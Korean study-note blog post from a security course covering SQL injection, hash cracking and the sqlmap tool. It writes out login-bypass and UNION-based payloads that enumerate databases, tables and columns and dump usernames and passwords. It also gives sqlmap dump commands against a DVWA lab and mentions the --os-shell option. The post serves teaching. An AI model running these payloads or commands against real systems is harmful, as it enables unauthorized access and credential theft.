본문 바로가기
Security/SK 쉴더스 루키즈 23기

[어플리케이션 보안] SQL Injection과 SQLMAP

by seoyamin 2025. 4. 11.

1. SQL Injection

SQL 주석을 통해 쿼리를 우회하는 방식을 사용

 

1.1. 주석 유형

  • MySQL : #
  • Oracle, MS-SQL, SQLITE3 : --

 

1.2. 취약점 점검

간편하게 SQL Injection 적용 가능 여부를 확인하려면 ' 하나를 찍어보면 된다.

ex) password에 ' 넣어보기

 

 

1.2.1. Login Form 이용

(1) 일반 쿼리문

select id, pw from user where id = 'admin' and pw = 'password';

 

 

(2) 공격문

- 'or 1=1# 또는 'or 1=1-- 을 사용함

- pw 부분은 주석 처리가 되어버림

where id = ' 'or1=1# ' and pw = 'password';

 

 

1.2.2. 게시판 검색 이용

(1) 일반 쿼리문

select id, subject, body from board where subject = 'test';

 

 

(2) 공격문

'or 1=1# 또는 'or 1=1-- 을 사용함

- pw 부분은 주석 처리가 되어버림

where subject = 'test 'or1=1# ';

 

 

 

1.3. 본격 취약점 점검

1.3.1. Column 개수 파악

(1) order by 이용

- 에러 메세지 등이 뜨면서 개수 맞지 않는다고 하면 숫자의 개수를 1부터 하나씩 늘려가며 시도해본다

   ex)  ‘order by 2# 입력  → 에러 발생하지 않으면 컬럼 개수 1개인 것

- 아무 에러 메세지도 안뜨면 order by 안 먹히는 것이므로 union으로 넘어간다

 

(2) union 이용

- 에러 발생하지 않을 때까지 숫자 개수를 늘려가며 시도한다

   ex)  ‘union select 1,1,1,1,1,1# 입력  → 에러 발생하지 않으면 컬럼 개수 6개인 것

 

1.3.2. 버전 정보 파악

'union select @@version, 1#

 

 

1.3.3. DB Name 파악

'union select schema_name, 1 from information_schema.schemata #

 

 

1.3.4. Table Name 파악

'union select table_name, 1 from information_schema.tables where table_schema='{DB Name}' #

 

 

1.3.5. Column Name 파악

'union select column_name, 1 from information_schema.columns where table_name='{Table Name}' #

 

 

1.3.6. Data 확인

'union select user, password from users #

'union select 1, column_name, 3, 4 from information_schema.columns where table_name = 'heroes' and column_name != 'id' and column_name != 'login' and column_name != 'password'#

 

 

 


2. Hash

2.1. Hash의 특징

  • 입력 값에 대한 고유한 해시값을 가짐 (해시는 중복되지 않음)
  • 동일한 입력 값에 대해서는 동일한 해시가 출력

 

2.2. 해시 복호화

이미 알려진 해시값에 대한 역을 이용해서 그 해시에 해당하는 평문을 구할 수 있음

https://crackstation.net/

 

CrackStation - Online Password Hash Cracking - MD5, SHA1, Linux, Rainbow Tables, etc.

Free Password Hash Cracker Enter up to 20 non-salted hashes, one per line: Supports: LM, NTLM, md2, md4, md5, md5(md5_hex), md5-half, sha1, sha224, sha256, sha384, sha512, ripeMD160, whirlpool, MySQL 4.1+ (sha1(sha1_bin)), QubesV3.1BackupDefaults How Crack

crackstation.net

 


3. SQLMAP

3.1. SQLMAP의 특징

  • SQLi를 자동화 해주는 도구
  • python 기반의 오픈 소스
  • 현재 알려진 모든 SQLi 기법을 사용, 모든 벤더 지원

 

3.2. SQLMAP 사용 방법

1st. SQLi이 가능한 공격 포인트 찾기

2nd. 세션 재사용 가능 여부 판단하기 (로그인을 해야 접근 가능한 메뉴일 경우)

3rd. 데이터 수집 (패킷 정보, url)

4th. 공격 명령어 완성

 

공격 방식 #1. URL 방식의 공격

sqlmap -u {url} --cookie {cookie} --data {data} -p {parameter} --batch --dump

 

  • -u : 취약점이 존재하는 url 주소 (파라미터 제외)
  • —cookie : 세션 정보
  • —data : 파라미터 영역 지정 (취약한 파라미터 지정)
  • -p : 파라미터 영역에서 취약한 파라미터 지정
  • —batch : sqlmap을 이용한 취약점 진단 자동화
  • —dump : 사용자가 만든 db 기준으로 모든 데이터 출력

 

ex) http://dvwa/vulnerabilities/sqli/ ?id=1&Submit=Submit#

sqlmap -u 'http://dvwa/vulnerabilities/sqli/' --cookie 'PHPSESSID=cutuj6rv1ptr0nmqkhotbth1d7; security=low' --data 'id=1&Submit=Submit' -p id --batch --dump

 

 

공격 방식 #2. 패킷 데이터 방식의 공격

sqlmap -r {file} --data {data} -p {parameter} --batch --dump

 

  • -r : 데이터 패킷 구조의 파일로 지정
  • -os-shell : 쉘 연결 옵션
  • MS-SQL은 cmd 옵션을 DB에서 쿼리로 허용할 수 있으며, 허용하면 DB 에서 cmd 명령어 사용 가능 → 취약함

ex)

sqlmap -r sql.rq --batch --dump

sqlmap -r sql.rq --data 'id=1&Submit=Submit' -p id --batch --dump